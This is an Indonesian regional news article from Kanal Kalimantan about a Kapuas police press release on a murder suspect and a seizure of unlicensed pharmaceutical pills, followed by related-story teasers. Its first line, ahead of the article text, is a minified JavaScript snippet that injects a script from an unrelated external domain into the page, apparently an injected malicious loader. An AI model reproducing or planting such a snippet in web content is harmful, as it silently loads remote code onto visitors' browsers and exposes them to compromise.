(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Polres Kapuas menggelar press rilis kasus tindak pidana pembunuhan yang terjadi di Sungai Daha, Desa Tumbang Tihis, Kecamatan Mandau Talawang, Kabupaten Kapuas.
Peristiwa berdarah yang terjadi pada Senin, 24 Oktober 2022 lalu, polisi telah mengamankan dan menetapkan satu tersangka laki-laki berinisial I (24) warga Desa Tumbang Puroh, Kecamatan Kapuas Hulu, diduga telah melakukan tindak pidana pembunuhan terhadap AY yang merupakan rekan kerjanya.
Hal itu diungkapkan Kapolres Kapuas AKBP Qori Wicaksono didampingi Wakapolres Kompol I Kadek Dwi Yoga S, Kasatreskrim Iptu Iyudi Hartanto, dan Kasatresnarkoba Iptu Subandi, serta Kapolsek Kapuas Hulu Iptu Debby S, Jumat (28/10/2022).
“Tersangka kasus pembunuhan diamankan, setelah pada 26 Oktober 2022, tersangka diserahkan oleh pihak keluarganya ke Polsek Kapuas Hulu, untuk mempertanggungjawabkan perbuatan dan diproses hukum,” kata AKBP Qori Wicaksono.
Baca juga : Nasib Pasar Antasari Banjarmasin, Banyak Toko Kosong hingga Rentan Aksi Perkelahian
Adapun barang bukti yang diamankan berupa satu buah senter kepala warna silver, selembar baju kaos lengan pendek warna hitam yang terdapat bekas robek pada bagian pundak sebelah kiri, dan satu lembar celana pendek merk pashion warna hitam lis abu-abu.
“Akibat perbuatannya, pelaku akan dikenakan Pasal 338 KUHP jo pasal 351 ayat (3) KUHP, dengan ancaman penjara paling lama 15 tahun,” jelasnya.
Kapolres Kapuas juga akan membeberkan kronologis dan motif dari peristiwa tersebut.
Selain melakukan rilis kasus pembunuhan tersebut, juga merilis pengungkapan kasus obat-obatan terlarang. Satresnarkoba Polres Kapuas menciduk pria berinisial MT alias ID (34) bersama barang bukti ribuan butir obat di kediamannya dalam perkara tindak pidana mengedarkan sediaan farmasi.
Terlapor MT, diamankan di rumahnya di Jalan Mahakam Kuala Kapuas, hasil pengeledahan dari tangan terlapor didapati sejumlah barang bukti ribuan butir obat tanpa izin edar.
Baca juga : Bupati Banjar Lantik 5 Pejabat Eselon Dua yang Baru, Ini Nama-namanya
“Barang bukti yang diamankan 3.708 butir obat tanpa merek berlogo SL, 700 butir obat tanpa merk berlogo Samco, 40 keping obat dengan merk Samcodin (400 butir), 125 keping obat dengan merk Seledryl (1.500 butir),” ungkap Kapolres Kapuas.
Turut diamankan barang bukti uang tunai Rp 695 ribu serta barang bukti lain yang berkaitan dengan perkara itu.
Atas perbuatannya terlapor dijerat dengan Pasal 197 jo pasal 196 Undang-Undang nomor 36 tahun 2009 tentang Kesehatan jo pasal 53 KUHPidana.
“Terlapor berikut barang bukti saat ini sudah diamankan di Polres Kapuas, untuk proses hukum lebih lanjut,” pungkasnya. (Kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.